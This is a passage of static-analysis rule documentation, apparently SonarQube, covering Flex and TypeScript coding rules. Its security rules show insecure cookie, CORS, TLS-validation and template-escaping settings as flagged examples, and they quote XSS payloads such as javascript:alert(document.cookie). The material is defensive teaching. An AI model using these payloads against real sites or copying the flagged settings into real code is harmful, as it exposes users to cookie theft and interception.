 * along with this program; if not, write to the Free Software Foundation,
 * Inc., 51 Franklin Street, Fifth Floor, Boston, MA  02110-1301, USA.
 */
flex:S1176

Try to imagine using the standard Flex API without ASDoc. It would be a nightmare, because ASDoc is the only way to understand of the contract of the API.

Documenting an API with ASDoc increases the productivity of the developers use it.

Noncompliant Code Example

public class MyClass {
  public var myLabel:String;

  public function myMethod(param1:String):Boolean {...}
}

Compliant Solution

/**
 * my doc
 */
public class MyClass {
  /**
   * my doc
   */
  public var myLabel:String;

  /**
   * my doc
   * @param param1 my doc
   * @return my doc
   */
  public function myMethod(param1:String):Boolean {...}
}

Exceptions

Classes or class elements with an ASDoc @private comment are ignored by this rule.

/**
 * @private  // This class and all its elements are ignored
 */
public class MyClass {  // Compliant

  public var myLabel:String;   // Compliant
}

public class AnotherClass {  // Noncompliant; class not @private and not documented

  /**
   * @private
   */
  public var name:String;  // Compliant
}
flex:S4524

switch can contain a default clause for various reasons: to handle unexpected values, to show that all the cases were properly considered.

For readability purpose, to help a developer to quickly find the default behavior of a switch statement, it is recommended to put the default clause at the end of the switch statement. This rule raises an issue if the default clause is not the first or the last one of the switch's cases.

Noncompliant Code Example

switch (param) {
  case 0:
    doSomething();
    break;
  default: // default clause should be the first or last one
    error();
    break;
  case 1:
    doSomethingElse();
    break;
}

Compliant Solution

switch (param) {
  case 0:
    doSomething();
    break;
  case 1:
    doSomethingElse();
    break;
  default:
    error();
    break;
}
flex:S1454

Using several "--" or "++" unary operators in the same arithmetic expression can quickly make the expression unreadable.

Noncompliant Code Example

var j:int = foo++ - --bar;

Compliant Solution

bar--;
var j:int = foo++ - bar;
flex:S1455

Declaring the package and class together has been deprecated since ActionScript 3. The package definition should be declared outside of the class definition even if the old syntax is still supported.

Noncompliant Code Example

class P.A {...}

Compliant Solution

package P {
    class A {...}
}
typescript:S2092

When a cookie is protected with the secure attribute set to true it will not be send by the browser over an unencrypted HTTP request and thus cannot be observed by an unauthorized person during a man-in-the-middle attack.

Ask Yourself Whether

  • the cookie is for instance a session-cookie not designed to be sent over non-HTTPS communication.
  • it's not sure that the website contains mixed content or not (ie HTTPS everywhere or not)

There is a risk if you answered yes to any of those questions.

Recommended Secure Coding Practices

  • It is recommended to use HTTPs everywhere so setting the secure flag to true should be the default behaviour when creating cookies.
  • Set the secure flag to true for session-cookies.

Sensitive Code Example

cookie-session module:

let session = cookieSession({
  secure: false,// Sensitive
});  // Sensitive

express-session module:

const express = require('express');
const session = require('express-session');

let app = express();
app.use(session({
  cookie:
  {
    secure: false // Sensitive
  }
}));

cookies module:

let cookies = new Cookies(req, res, { keys: keys });

cookies.set('LastVisit', new Date().toISOString(), {
  secure: false // Sensitive
}); // Sensitive

csurf module:

const cookieParser = require('cookie-parser');
const csrf = require('csurf');
const express = require('express');

let csrfProtection = csrf({ cookie: { secure: false }}); // Sensitive

Compliant Solution

cookie-session module:

let session = cookieSession({
  secure: true,// Compliant
});  // Compliant

express-session module:

const express = require('express');
const session = require('express-session');

let app = express();
app.use(session({
  cookie:
  {
    secure: true // Compliant
  }
}));

cookies module:

let cookies = new Cookies(req, res, { keys: keys });

cookies.set('LastVisit', new Date().toISOString(), {
  secure: true // Compliant
}); // Compliant

csurf module:

const cookieParser = require('cookie-parser');
const csrf = require('csurf');
const express = require('express');

let csrfProtection = csrf({ cookie: { secure: true }}); // Compliant

See

typescript:S5122

Having a permissive Cross-Origin Resource Sharing policy is security-sensitive. It has led in the past to the following vulnerabilities:

Same origin policy in browsers prevents, by default and for security-reasons, a javascript frontend to perform a cross-origin HTTP request to a resource that has a different origin (domain, protocol, or port) from its own. The requested target can append additional HTTP headers in response, called CORS, that act like directives for the browser and change the access control policy / relax the same origin policy.

Ask Yourself Whether

  • You don't trust the origin specified, example: Access-Control-Allow-Origin: untrustedwebsite.com.
  • Access control policy is entirely disabled: Access-Control-Allow-Origin: *
  • Your access control policy is dynamically defined by a user-controlled input like origin header.

There is a risk if you answered yes to any of those questions.

Recommended Secure Coding Practices

  • The Access-Control-Allow-Origin header should be set only for a trusted origin and for specific resources.
  • Allow only selected, trusted domains in the Access-Control-Allow-Origin header. Prefer whitelisting domains over blacklisting or allowing any domain (do not use * wildcard nor blindly return the Origin header content without any checks).

Sensitive Code Example

nodejs http built-in module:

const http = require('http');
const srv = http.createServer((req, res) => {
  res.writeHead(200, { 'Access-Control-Allow-Origin': '*' }); // Sensitive
  res.end('ok');
});
srv.listen(3000);

Express.js framework with cors middleware:

const cors = require('cors');

let app1 = express();
app1.use(cors()); // Sensitive: by default origin is set to *

let corsOptions = {
  origin: '*' // Sensitive
};

let app2 = express();
app2.use(cors(corsOptions));

Compliant Solution

nodejs http built-in module:

const http = require('http');
const srv = http.createServer((req, res) => {
  res.writeHead(200, { 'Access-Control-Allow-Origin': 'trustedwebsite.com' }); // Compliant
  res.end('ok');
});
srv.listen(3000);

Express.js framework with cors middleware:

const cors = require('cors');

let corsOptions = {
  origin: 'trustedwebsite.com' // Compliant
};

let app = express();
app.use(cors(corsOptions));

See

typescript:S4275

Getters and setters provide a way to enforce encapsulation by providing public methods that give controlled access to private fields. However in classes with multiple fields it is not unusual that copy and paste is used to quickly create the needed getters and setters, which can result in the wrong field being accessed by a getter or setter.

This rule raises an issue in any of these cases:

  • A setter does not update the field with the corresponding name.
  • A getter does not access the field with the corresponding name.

Noncompliant Code Example

class A {
  private _x: number = 0;
  private y: number = 0;

  public get x() {  // Noncompliant: field 'x' is not used in the return value
    return this.y;
  }

  public setX(val: number) { // Noncompliant: field 'x' is not updated
    this.y = val;
  }

  public getY() { // Noncompliant: field 'y' is not used in the return value
    return this.x;
  }
}

Compliant Solution

class A {
  private _x: number = 0;
  private y: number = 0;

  public get x() {
    return this._x;
  }

  public setX(val: number) {
    this.x = val;
  }

  public getY() {
    return this.y;
  }
}
typescript:S4030

When a collection is populated but its contents are never used, then it is surely some kind of mistake. Either refactoring has rendered the collection moot, or an access is missing.

This rule raises an issue when no methods are called on a collection other than those that add or remove values.

Noncompliant Code Example

function getLength(a, b, c) {
  const strings = [];  // Noncompliant
  strings.push(a);
  strings.push(b);
  strings.push(c);

  return a.length + b.length + c.length;
}

Compliant Solution

function getLength(a, b, c) {
  return a.length + b.length + c.length;
}
typescript:S3504

ECMAScript 2015 introduced the let and const keywords for block-scope variable declaration. Using const creates a read-only (constant) variable.

The distinction between the variable types created by var and by let is significant, and a switch to let will help alleviate many of the variable scope issues which have caused confusion in the past.

Because these new keywords create more precise variable types, they are preferred in environments that support ECMAScript 2015. However, some refactoring may be required by the switch from var to let, and you should be aware that they raise SyntaxErrors in pre-ECMAScript 2015 environments.

This rule raises an issue when var is used instead of const or let.

Noncompliant Code Example

var color = "blue";
var size = 4;

Compliant Solution

const color = "blue";
let size = 4;
typescript:S3626

Jump statements, such as return, break and continue let you change the default flow of program execution, but jump statements that direct the control flow to the original direction are just a waste of keystrokes.

Noncompliant Code Example

function redundantJump(x) {
  if (x == 1) {
    console.log("x == 1");
    return; // Noncompliant
  }
}

Compliant Solution

function redundantJump(x) {
  if (x == 1) {
    console.log("x == 1");
  }
}

Exceptions

break and return inside switch statement are ignored, because they are often used for consistency. continue with label is also ignored, because label is usually used for clarity. Also a jump statement being a single statement in a block is ignored.

typescript:S4157

There's no reason to repeat a default type unless it is early in a list and other, non-default types come after it. Instead, leave it out and only supply type when it is something other than the default.

Noncompliant Code Example

function foo<N = number, S = string>() {}
foo<number, string>();  // Noncompliant; both types redundant
foo<string, string>();  // Noncompliant; 2nd string is redundant
foo<number, number>();  // Ignored; number is redundant but required

Compliant Solution

function foo<N = number, S = string>() {}
foo();
foo<string>();
foo<number, number>();
typescript:S5247

To reduce the risk of cross-site scripting attacks, templating systems, such as Twig, Django, Smarty, Groovy's template engine, allow configuration of automatic variable escaping before rendering templates. When escape occurs, characters that make sense to the browser (eg: <a>) will be transformed/replaced with escaped/sanitized values (eg: & lt;a& gt; ).

Auto-escaping is not a magic feature to annihilate all cross-site scripting attacks, it depends on the strategy applied and the context, for example a "html auto-escaping" strategy (which only transforms html characters into html entities) will not be relevant when variables are used in a html attribute because ':' character is not escaped and thus an attack as below is possible:

<a href="{{ myLink }}">link</a> // myLink = javascript:alert(document.cookie)
<a href="javascript:alert(document.cookie)">link</a> // JS injection (XSS attack)

Ask Yourself Whether

  • Templates are used to render web content and
    • dynamic variables in templates come from untrusted locations or are user-controlled inputs
    • there is no local mechanism in place to sanitize or validate the inputs.

There is a risk if you answered yes to any of those questions.

Recommended Secure Coding Practices

Enable auto-escaping by default and continue to review the use of inputs in order to be sure that the chosen auto-escaping strategy is the right one.

Sensitive Code Example

mustache.js template engine:

let Mustache = require("mustache");

Mustache.escape = function(text) {return text;}; // Sensitive

let rendered = Mustache.render(template, { name: inputName });

handlebars.js template engine:

const Handlebars = require('handlebars');

let source = "<p>attack {{name}}</p>";

let template = Handlebars.compile(source, { noEscape: true }); // Sensitive

markdown-it markup language parser:

const markdownIt = require('markdown-it');
let md = markdownIt({
  html: true // Sensitive
});

let result = md.render('# <b>attack</b>');

marked markup language parser:

const marked = require('marked');

marked.setOptions({
  renderer: new marked.Renderer(),
  sanitize: false // Sensitive
});

console.log(marked("# test <b>attack/b>"));

kramed markup language parser:

let kramed = require('kramed');

var options = {
  renderer: new kramed.Renderer({
    sanitize: false // Sensitive
  })
};

Compliant Solution

mustache.js template engine:

let Mustache = require("mustache");

let rendered = Mustache.render(template, { name: inputName }); // Compliant autoescaping is on by default

handlebars.js template engine:

const Handlebars = require('handlebars');

let source = "<p>attack {{name}}</p>";
let data = { "name": "<b>Alan</b>" };

let template = Handlebars.compile(source); // Compliant by default noEscape is set to false

markdown-it markup language parser:

let md = require('markdown-it')(); // Compliant by default html is set to false

let result = md.render('# <b>attack</b>');

marked markup language parser:

const marked = require('marked');

marked.setOptions({
  renderer: new marked.Renderer()
}); // Compliant by default sanitize is set to true

console.log(marked("# test <b>attack/b>"));

kramed markup language parser:

let kramed = require('kramed');

let options = {
  renderer: new kramed.Renderer({
    sanitize: true // Compliant
  })
};

console.log(kramed('Attack [xss?](javascript:alert("xss")).', options));

See

typescript:S4158

When a collection is empty it makes no sense to access or iterate it. Doing so anyway is surely an error; either population was accidentally omitted or the developer doesn't understand the situation.

Noncompliant Code Example

let strings = [];

if (strings.includes("foo")) {}  // Noncompliant

for (str of strings) {}  // Noncompliant

strings.forEach(str => doSomething(str)); // Noncompliant

typescript:S1440

The == and != operators do type coercion before comparing values. This is bad because it can mask type errors. For example, it evaluates ' \t\r\n' == 0 as true.

It is best to always use the side-effect-less === and !== operators instead.

Noncompliant Code Example

if (var == 'howdy') {...} // Noncompliant

Compliant Solution

if (var === 'howdy') {...}

Exceptions

Even if testing the equality of a variable against null doesn't do exactly what most JavaScript developers believe, usage of == or != is tolerated in such context. In the following case, if foo hasn't been initialized, its default value is not null but undefined. Nevertheless undefined == null, so JavaScript developers get the expected behavior.

if(foo == null) {...}
typescript:S3981

The size of a collection and the length of an array are always greater than or equal to zero. So testing that a size or length is greater than or equal to zero doesn't make sense, since the result is always true. Similarly testing that it is less than zero will always return false. Perhaps the intent was to check the non-emptiness of the collection or array instead.

Noncompliant Code Example

if (someSet.size >= 0) {...} // Noncompliant

if (someMap.size < 0) {...} // Noncompliant

const result = someArray.length >= 0;  // Noncompliant

Compliant Solution

if (someSet.size > 0) {...}

if (someMap.size == 0) {...}

const result = someArray.length > 0;
typescript:S4156

Each file is considered an "external" module. The use of the module keyword creates an internal module, and was used before the ECMAScript 2015 addition of namespaces for the same purpose. Now that namespace is available, the use of module is deprecated because it does the same thing, and its use could confuse maintainers unaware of the history of the language.

Noncompliant Code Example

module myMod {  // Noncompliant
  // ...
}

Compliant Solution

namespace myMod {
  // ...
}
typescript:S1441

This rule checks that all string literals use the same kind of quotes.

Noncompliant Code Example

Using the parameter default (forcing single quotes):

var firstParameter = "something"; // Noncompliant

Compliant Solution

var firstParameter = 'something';

Exceptions

Strings that contain quotes are ignored.

let heSaid = "Then he said 'What?'."  // ignored
let sheSaid = '"Whatever!" she replied.'  // ignored
typescript:S3984

Creating a new Error without actually throwing it is useless and is probably due to a mistake.

Noncompliant Code Example

if (x < 0) {
  new Error("x must be nonnegative");
}

Compliant Solution

if (x < 0) {
  throw new Error("x must be nonnegative");
}
typescript:S3863

Multiple imports from the same module should be merged together to improve readability.

Noncompliant Code Example

import { B1 } from 'b';
import { B2 } from 'b'; // Noncompliant

Compliant Solution

import { B1, B2 } from 'b';
typescript:S4830

Validation of X.509 certificates is essential to create secure SSL/TLS sessions not vulnerable to man-in-the-middle attacks.

The certificate chain validation includes these steps:

  • The certificate is issued by its parent Certificate Authority or the root CA trusted by the system.
  • Each CA is allowed to issue certificates.
  • Each certificate in the chain is not expired.

It's not recommended to reinvent the wheel by implementing custom certificate chain validation.

TLS libraries provide built-in certificate validation functions that should be used.

Noncompliant Code Example

There is no way to disable certificate verification in tls, https and request modules but it is possible to not reject request when verification fails.

https built-in module:

let options = {
  hostname: 'www.example.com',
  port: 443,
  path: '/',
  method: 'GET',
  secureProtocol: 'TLSv1_2_method',
  rejectUnauthorized: false ; // Noncompliant
};

let req = https.request(options, (res) => {
  res.on('data', (d) => {
    process.stdout.write(d);
  });
}); // Noncompliant

tls built-in module:

let options = {
    secureProtocol: 'TLSv1_2_method',
    rejectUnauthorized: false ; // Noncompliant
};

let socket = tls.connect(443, "www.example.com", options, () => {
  process.stdin.pipe(socket);
  process.stdin.resume();
});  // Noncompliant

request module:

let socket = request.get({
    url: 'www.example.com',
    secureProtocol: 'TLSv1_2_method',
    rejectUnauthorized: false ; // Noncompliant
});

Compliant Solution

https built-in module:

let options = {
  hostname: 'www.example.com',
  port: 443,
  path: '/',
  method: 'GET',
  secureProtocol: 'TLSv1_2_method'
};

let req = https.request(options, (res) => {
  res.on('data', (d) => {
    process.stdout.write(d);
  });
}); // Compliant: by default rejectUnauthorized  is set to true

tls built-in module:

let options = {
    secureProtocol: 'TLSv1_2_method'
};

let socket = tls.connect(443, "www.example.com", options, () => {
  process.stdin.pipe(socket);
  process.stdin.resume();
}); // Compliant: by default rejectUnauthorized  is set to true

request module:

let socket = request.get({
    url: 'https://www.example.com/',
    secureProtocol: 'TLSv1_2_method' // Compliant
}); // Compliant: by default rejectUnauthorized  is set to true

See

typescript:S888

Testing for loop termination using an equality operator (== and !=) is dangerous, because it could set up an infinite loop. Using a broader relational operator instead casts a wider net, and makes it harder (but not impossible) to accidentally write an infinite loop.

Noncompliant Code Example

for (var i = 1; i != 10; i += 2)  // Noncompliant. Infinite; i goes from 9 straight to 11.
{
  //...
}

Compliant Solution

for (var i = 1; i <= 10; i += 2)  // Compliant
{
  //...
}

Exceptions

Equality operators are ignored if the loop counter is not modified within the body of the loop and either:

  • starts below the ending value and is incremented by 1 on each iteration.
  • starts above the ending value and is decremented by 1 on each iteration.

Equality operators are also ignored when the test is against null.

for (var i = 0; arr[i] != null; i++) {
  // ...
}

for (var i = 0; (item = arr[i]) != null; i++) {
  // ...
}

See

typescript:S4143

It is highly suspicious when a value is saved for a key or index and then unconditionally overwritten. Such replacements are likely in error.

Noncompliant Code Example

 fruits[1] = "banana";
 fruits[1] = "apple";  // Noncompliant - value on index 1 is overwritten

 myMap.set("key", 1);
 myMap.set("key", 2); // Noncompliant - value for key "key" is replaced

 mySet.add(1);
 mySet.add(1); // Noncompliant - element is already in the set
typescript:S4140

An array declared with missing ("sparse") elements is likely to be an error: an extra comma was inserted or perhaps the developer meant to insert the missing value and forgot.

Noncompliant Code Example

let a = [1, , 3, 6, 9];  // Noncompliant

Compliant Solution

let a = [1, 3, 6, 9];
typescript:S1314

Integer literals starting with a zero are octal rather than decimal values. While using octal values is fully supported, most developers do not have experience with them. They may not recognize octal values as such, mistaking them instead for decimal values.

Noncompliant Code Example

var myNumber = 010;   // Noncompliant. myNumber will hold 8, not 10 - was this really expected?

Compliant Solution

var myNumber = 8;

See

typescript:S3735

The void operator evaluates its argument and unconditionally returns undefined. It can be useful in pre-ECMAScript 5 environments, where undefined could be reassigned, but generally, its use makes code harder to understand.

Noncompliant Code Example

void (function() {
   ...
}());

Compliant Solution

(function() {
   ...
}());

Exceptions

No issue is raised when void 0 is used in place of undefined.

if (parameter === void 0) {...}
typescript:S3616

The comma operator (,) evaluates its operands, from left to right, and returns the second one. That's useful in some situations, but just wrong in a switch case. You may think you're compactly handling multiple values in the case, but only the last one in the comma-list will ever be handled. The rest will fall through to the default.

Similarly the logical OR operator (||) will not work in a switch case, only the first argument will be considered at execution time.

Noncompliant Code Example

switch a {
  case 1,2:  // Noncompliant; only 2 is ever handled by this case
    doTheThing(a);
  case 3 || 4: // Noncompliant; only '3' is handled
    doThatThing(a);
  case 5:
    doTheOtherThing(a);
  default:
    console.log("Neener, neener!");  // this happens when a==1 or a == 4
}

Compliant Solution

switch a {
  case 1:
  case 2:
    doTheThing(a);
  case 3:
  case 4:
    doThatThing(a);
  case 5:
    doTheOtherThing(a);
  default:
    console.log("Neener, neener!");
}
typescript:S4823

Using command line arguments is security-sensitive. It has led in the past to the following vulnerabilities:

Command line arguments can be dangerous just like any other user input. They should never be used without being first validated and sanitized.

Remember also that any user can retrieve the list of processes running on a system, which makes the arguments provided to them visible. Thus passing sensitive information via command line arguments should be considered as insecure.

This rule raises an issue when on every program entry points (main methods) when command line arguments are used. The goal is to guide security code reviews.

Ask Yourself Whether

  • any of the command line arguments are used without being sanitized first.
  • your application accepts sensitive information via command line arguments.

If you answered yes to any of these questions you are at risk.

Recommended Secure Coding Practices

Sanitize all command line arguments before using them.

Any user or application can list running processes and see the command line arguments they were started with. There are safer ways of providing sensitive information to an application than exposing them in the command line. It is common to write them on the process' standard input, or give the path to a file containing the information.

Sensitive Code Example

// The process object is a global that provides information about, and control over, the current Node.js process
var param = process.argv[2]; // Sensitive: check how the argument is used
console.log('Param: ' + param);

See

Deprecated

This rule is deprecated, and will eventually be removed.

typescript:S1438

In JavaScript, the semicolon (;) is optional as a statement separator, but omitting semicolons can be confusing, and lead to unexpected results because a semicolon is implicitly inserted at the end of each line.

Noncompliant Code Example

function fun() {
  return  // Noncompliant. ';' implicitly inserted at end of line
       5   // Noncompliant. ';' implicitly inserted at end of line
}
print(fun());  // prints "undefined", not "5"

Compliant Solution

function fun() {
  return 5;
}
print(fun());
typescript:S1439

Any statement or block of statements can be identified by a label, but those labels should be used only on while, do-while, for and switch statements. Using labels in any other context leads to unstructured, confusing code.

Noncompliant Code Example

myLabel: if (i % 2 == 0) {  // Noncompliant
  if (i == 12) {
    console.log("12");
    break myLabel;
  }
  console.log("Odd number, but not 12");
}

Compliant Solution

myLabel: for (i = 0; i < 10; i++) {   // Compliant
  console.log("Loop");
  break myLabel;
}
typescript:S4829

Reading Standard Input is security-sensitive. It has led in the past to the following vulnerabilities:

It is common for attackers to craft inputs enabling them to exploit software vulnerabilities. Thus any data read from the standard input (stdin) can be dangerous and should be validated.

This rule flags code that reads from the standard input.

Ask Yourself Whether

  • data read from the standard input is not sanitized before being used.

You are at risk if you answered yes to this question.

Recommended Secure Coding Practices

Sanitize all data read from the standard input before using it.

Sensitive Code Example

// The process object is a global that provides information about, and control over, the current Node.js process
// All uses of process.stdin are security-sensitive and should be reviewed

process.stdin.on('readable', () => {
	const chunk = process.stdin.read(); // Sensitive
	if (chunk !== null) {
		dosomething(chunk);
	}
});

const readline = require('readline');
readline.createInterface({
	input: process.stdin // Sensitive
}).on('line', (input) => {
	dosomething(input);
});

See:

Deprecated

This rule is deprecated, and will eventually be removed.

typescript:S4023

An empty interface is equivalent to an empty object ('{}'). Normally you cannot directly assign an object literal to a type when the object literal contains more properties than are specified in the type. But in the case of an empty interface, this check is not done, and such assignments will be successful. The result is highly likely to confuse maintainers.

Noncompliant Code Example

interface MyFace {}  // Noncompliant

Compliant Solution

interface MyFace {
  foo: number;
}
typescript:S4144

When two functions have the same implementation, either it was a mistake - something else was intended - or the duplication was intentional, but may be confusing to maintainers. In the latter case, the code should be refactored.

Noncompliant Code Example

function calculateCode() {
  doTheThing();
  doOtherThing();
  return code;
}

function getName() {  // Noncompliant
  doTheThing();
  doOtherThing();
  return code;
}

Compliant Solution

function calculateCode() {
  doTheThing();
  doOtherThing();
  return code;
}

function getName() {
  return calculateCode();
}

Exceptions

Functions with fewer than 3 lines are ignored.

typescript:S3973

In the absence of enclosing curly braces, the line immediately after a conditional is the one that is conditionally executed. By both convention and good practice, such lines are indented. In the absence of both curly braces and indentation the intent of the original programmer is entirely unclear and perhaps not actually what is executed. Additionally, such code is highly likely to be confusing to maintainers.

Noncompliant Code Example

if (condition)  // Noncompliant
doTheThing();

doTheOtherThing();
somethingElseEntirely();

foo();

Compliant Solution

if (condition)
  doTheThing();

doTheOtherThing();
somethingElseEntirely();

foo();
typescript:S3972

Code is clearest when each statement has its own line. Nonetheless, it is a common pattern to combine on the same line an if and its resulting then statement. However, when an if is placed on the same line as the closing } from a preceding then, else or else if part, it is either an error - else is missing - or the invitation to a future error as maintainers fail to understand that the two statements are unconnected.

Noncompliant Code Example

if (condition1) {
  // ...
} if (condition2) {  // Noncompliant
  //...
}

Compliant Solution

if (condition1) {
  // ...
} else if (condition2) {
  //...
}

Or

if (condition1) {
  // ...
}

if (condition2) {
  //...
}
typescript:S4822

An exception (including reject) thrown by a promise will not be caught by a nesting try block, due to the asynchronous nature of execution. Instead, use catch method of Promise or wrap it inside await expression.

This rule reports try-catch statements containing nothing else but call(s) to a function returning a Promise (thus it's less likely that catch is intended to catch something else than Promise rejection).

Noncompliant Code Example

function runPromise() {
  return Promise.reject("rejection reason");
}

function foo() {
  try { // Noncompliant, the catch clause of the 'try' will not be executed for the code inside promise
    runPromise();
  } catch (e) {
    console.log("Failed to run promise", e);
  }
}

Compliant Solution

function foo() {
  runPromise().catch(e => console.log("Failed to run promise", e));
}

// or
async function foo() {
  try {
    await runPromise();
  } catch (e) {
    console.log("Failed to run promise", e);
  }
}
typescript:S3854

There are situations where super() must be invoked and situations where super() cannot be invoked.

The basic rule is: a constructor in a non-derived class cannot invoke super(); a constructor in a derived class must invoke super().

Furthermore:

- super() must be invoked before the this and super keywords can be used.

- super() must be invoked with the same number of arguments as the base class' constructor.

- super() can only be invoked in a constructor - not in any other method.

- super() cannot be invoked multiple times in the same constructor.

Known Limitations

  • False negatives: some issues are not raised if the base class is not defined in the same file as the current class.

Noncompliant Code Example

class Dog extends Animal {
  constructor(name) {
    super();
    this.name = name;
    super();         // Noncompliant
    super.doSomething();
  }
}

Compliant Solution

class Dog extends Animal {
  constructor(name) {
    super();
    this.name = name;
    super.doSomething();
  }
}
typescript:S1105

Shared naming conventions allow teams to collaborate effectively. This rule raises an issue when the brace-style is not respecting the convention setup in parameter:

* 1tbs (default)

* allman

* stroustrup

Noncompliant Code Example

Using the parameter default (1tbs):

if (condition)
{                                                      //Noncompliant
  doSomething();
}                                                      //Noncompliant
else {
  doSomethingElse();
}

Compliant Solution

if (condition) {                                   //Compliant
  doSomething();
} else {                                           //Compliant
  doSomethingElse();
}

Exceptions

* Object literals appearing as arguments can start on their own line.

functionWithObject(
   {                                                 //Compliant
        g: "someValue"
   }
);

* When blocks are inlined (left and right curly braces on the same line), no issue is triggered.

if(condition) {doSomething();}                       //Compliant
typescript:S1226

While it is technically correct to assign to parameters from within function bodies, it reduces code readability because developers won't be able to tell whether the original parameter or some temporary variable is being accessed without going through the whole function. Moreover, some developers might also expect assignments of function parameters to be visible to callers, which is not the case, and this lack of visibility could confuse them. Instead, all parameters, caught exceptions, and foreach parameters should be treated as constants.

Noncompliant Code Example

function MyClass(name, strings) {
  name = foo;                    // Noncompliant

  for (var str of strings) {
    str = "";  // Noncompliant
  }
}
typescript:S3525

Originally JavaScript didn't support classes, and class-like behavior had to be kludged using things like prototype assignments for "class" functions. Fortunately, ECMAScript 2015 added classes, so any lingering prototype uses should be converted to true classes. The new syntax is more expressive and clearer, especially to those with experience in other languages.

Specifically, with ES2015, you should simply declare a class and define its methods inside the class declaration.

Noncompliant Code Example

function MyNonClass(initializerArgs = []) {
  this._values = [...initializerArgs];
}

MyNonClass.prototype.doSomething = function () {  // Noncompliant
  // ...
}

Compliant Solution

class MyClass {
  constructor(initializerArgs = []) {
    this._values = [...initializerArgs];
  }

  doSomething() {
    //...
  }
}
typescript:S4619

The in operator used on an array is valid but the code will likely not have the expected behavior. The in operator deals with the indexes of the array, not with the values.

If checking for an array slot is indeed desired, using hasOwnProperty makes the code intention clearer.

Noncompliant Code Example

function func1() {
    let arr = ["a", "b", "c"];

    let expectedValue = "b";
    if (expectedValue in arr) { // Noncompliant, will be always false
        return expectedValue + " found in the array";
    } else {
        return expectedValue + " not found";
    }
}

function func2() {
    let arr = ["a", "b", "c"];

    let expectedValue = "1"; // index #1 is corresponding to the value "b"
    if (expectedValue in arr) { // Noncompliant, will be always true because the array is made of 3 elements and the #1 is always there whatever its value
        return expectedValue + " found in the array";
    } else {
        return expectedValue + " not found";
    }
}

Compliant Solution

function func() {
    let arr = ["a", "b", "c"];

    let expectedValue = "b";
    if (arr.includes(expectedValue)) {
        return expectedValue + " was found in the array";
    } else {
        return expectedValue + " not found";
    }
}
typescript:S2310

Loop counters should not be modified in the body of the loop. However other loop control variables representing logical values may be modified in the loop, for example a flag to indicate that something has been completed, which is then tested in the for statement.

Noncompliant Code Example

var names = [ "Jack", "Jim", "", "John" ];
for (var i = 0; i < names.length; i++) {
  if (!names[i]) {
    i = names.length;                                 // Non-Compliant
  } else {
    console.log(names[i]);
  }
}

Compliant Solution

var names = [ "Jack", "Jim", "", "John" ];
for (var name of names) {
  if (!name) {
    break;                                 // Compliant
  } else {
    console.log(name);
  }
}
typescript:S3524

Shared coding conventions allow teams to collaborate effectively. This rule raises an issue when the use of parentheses with an arrow function does not conform to the configured requirements.

Noncompliant Code Example

With the configured defaults forbidding parentheses

var foo = (a) => { /* ... */ };  // Noncompliant; remove parens from arg
var bar = (a, b) => { return 0; };  // Noncompliant; remove curly braces from body

Compliant Solution

var foo = a => { /* ... */ };
var bar = (a, b) => 0;
typescript:S3402

Use a + with two numbers and you'll get addition. But use it with a string and anything else, and you'll get concatenation. This could be confusing, especially if it's not obvious that one of the operands is a string. It is recommended to explicitly convert the non-string component to make it easier to understand to future maintainers.

This rule raises an issue when + is used with a string and a non-string.

Noncompliant Code Example

function foo() {
  let x = 5 + 8;  // okay
  let z = "8"
  return x + z;  // Noncompliant; yields string "138"
}

Compliant Solution

function foo() {
  let x = 5 + 8;
  let z = "8"
  return x + Number(z);
}
typescript:S4165

The transitive property says that if a == b and b == c, then a == c. In such cases, there's no point in assigning a to c or vice versa because they're already equivalent.

This rule raises an issue when an assignment is useless because the assigned-to variable already holds the value on all execution paths.

Noncompliant Code Example

a = b;
c = a;
b = c; // Noncompliant: c and b are already the same

Compliant Solution

a = b;
c = a;
typescript:S4043

Many of JavaScript's Array methods return an altered version of the array while leaving the source array intact. reverse and sort do not fall into this category. Instead, they alter the source array in addition to returning the altered version, which is likely not what was intended.

This rule raises an issue when the return values of these methods are assigned, which could lead maintainers to overlook the fact that the original value is altered.

Noncompliant Code Example

var b = a.reverse(); // Noncompliant
var d = c.sort(); // Noncompliant

Compliant Solution

var b = [...a].reverse();  // de-structure and create a new array, so reverse doesn't impact 'a'
a.reverse();

c.sort(); // this sorts array in place
typescript:S3514

ECMAScript 2015 introduced the ability to extract and assign multiple data points from an object or array simultaneously. This is called "destructuring", and it allows you to condense boilerplate code so you can concentrate on logic.

This rule raises an issue when multiple pieces of data are extracted out of the same object or array and assigned to variables.

Noncompliant Code Example

function foo (obj1, obj2, array) {
  var a = obj1.a;  // Noncompliant
  var b = obj1.b;

  var name = obj2.name;  // ignored; there's only one extraction-and-assignment

  var zero = array[0];  // Noncompliant
  var one = array[1];
}

Compliant Solution

function foo (obj1, obj2, array) {
  var {a, b} = obj1;

  var {name} = obj2;  // this syntax works because var name and property name are the same

  var [zero, one] = array;
}
typescript:S3516

When a function is designed to return an invariant value, it may be poor design, but it shouldn't adversely affect the outcome of your program. However, when it happens on all paths through the logic, it is likely a mistake.

This rule raises an issue when a function contains several return statements that all return the same value.

Noncompliant Code Example

function foo(a) {  // Noncompliant
  let b = 12;
  if (a) {
    return b;
  }
  return b;
}
typescript:S2427

The parseInt function has two versions, one that takes a base value as a second argument, and one that does not. Unfortunately using the single-arg version can result in unexpected results on older browsers.

Noncompliant Code Example

parseInt("010");  // Noncompliant; pre-2013 browsers may return 8

Compliant Solution

parseInt("010", 10);
typescript:S1219

Even if it is legal, mixing case and non-case labels in the body of a switch statement is very confusing and can even be the result of a typing error.

Noncompliant Code Example

Case 1, the code is syntactically correct but the behavior is not the expected one

switch (day) {
  case MONDAY:
  case TUESDAY:
  WEDNESDAY:   // instead of "case WEDNESDAY"
    doSomething();
    break;
  ...
}

Case 2, the code is correct and behaves as expected but is hardly readable

switch (day) {
  case MONDAY:
    break;
  case TUESDAY:
    foo:for(i = 0 ; i < X ; i++) {
         /* ... */
        break foo;  // this break statement doesn't relate to the nesting case TUESDAY
         /* ... */
    }
    break;
    /* ... */
}

Compliant Solution

Case 1

switch (day) {
  case MONDAY:
  case TUESDAY:
  case WEDNESDAY:
    doSomething();
    break;
  ...
}

Case 2

switch (day) {
  case MONDAY:
    break;
  case TUESDAY:
    compute(args); // put the content of the labelled "for" statement in a dedicated method
    break;

    /* ... */
}
typescript:S1451

Each source file should start with a header stating file ownership and the license which must be used to distribute the application.

This rule must be fed with the header text that is expected at the beginning of every file.

Compliant Solution

/*
 * SonarQube, open source software quality management tool.
 * Copyright (C) 2008-2013 SonarSource
 * mailto:contact AT sonarsource DOT com
 *
 * SonarQube is free software; you can redistribute it and/or
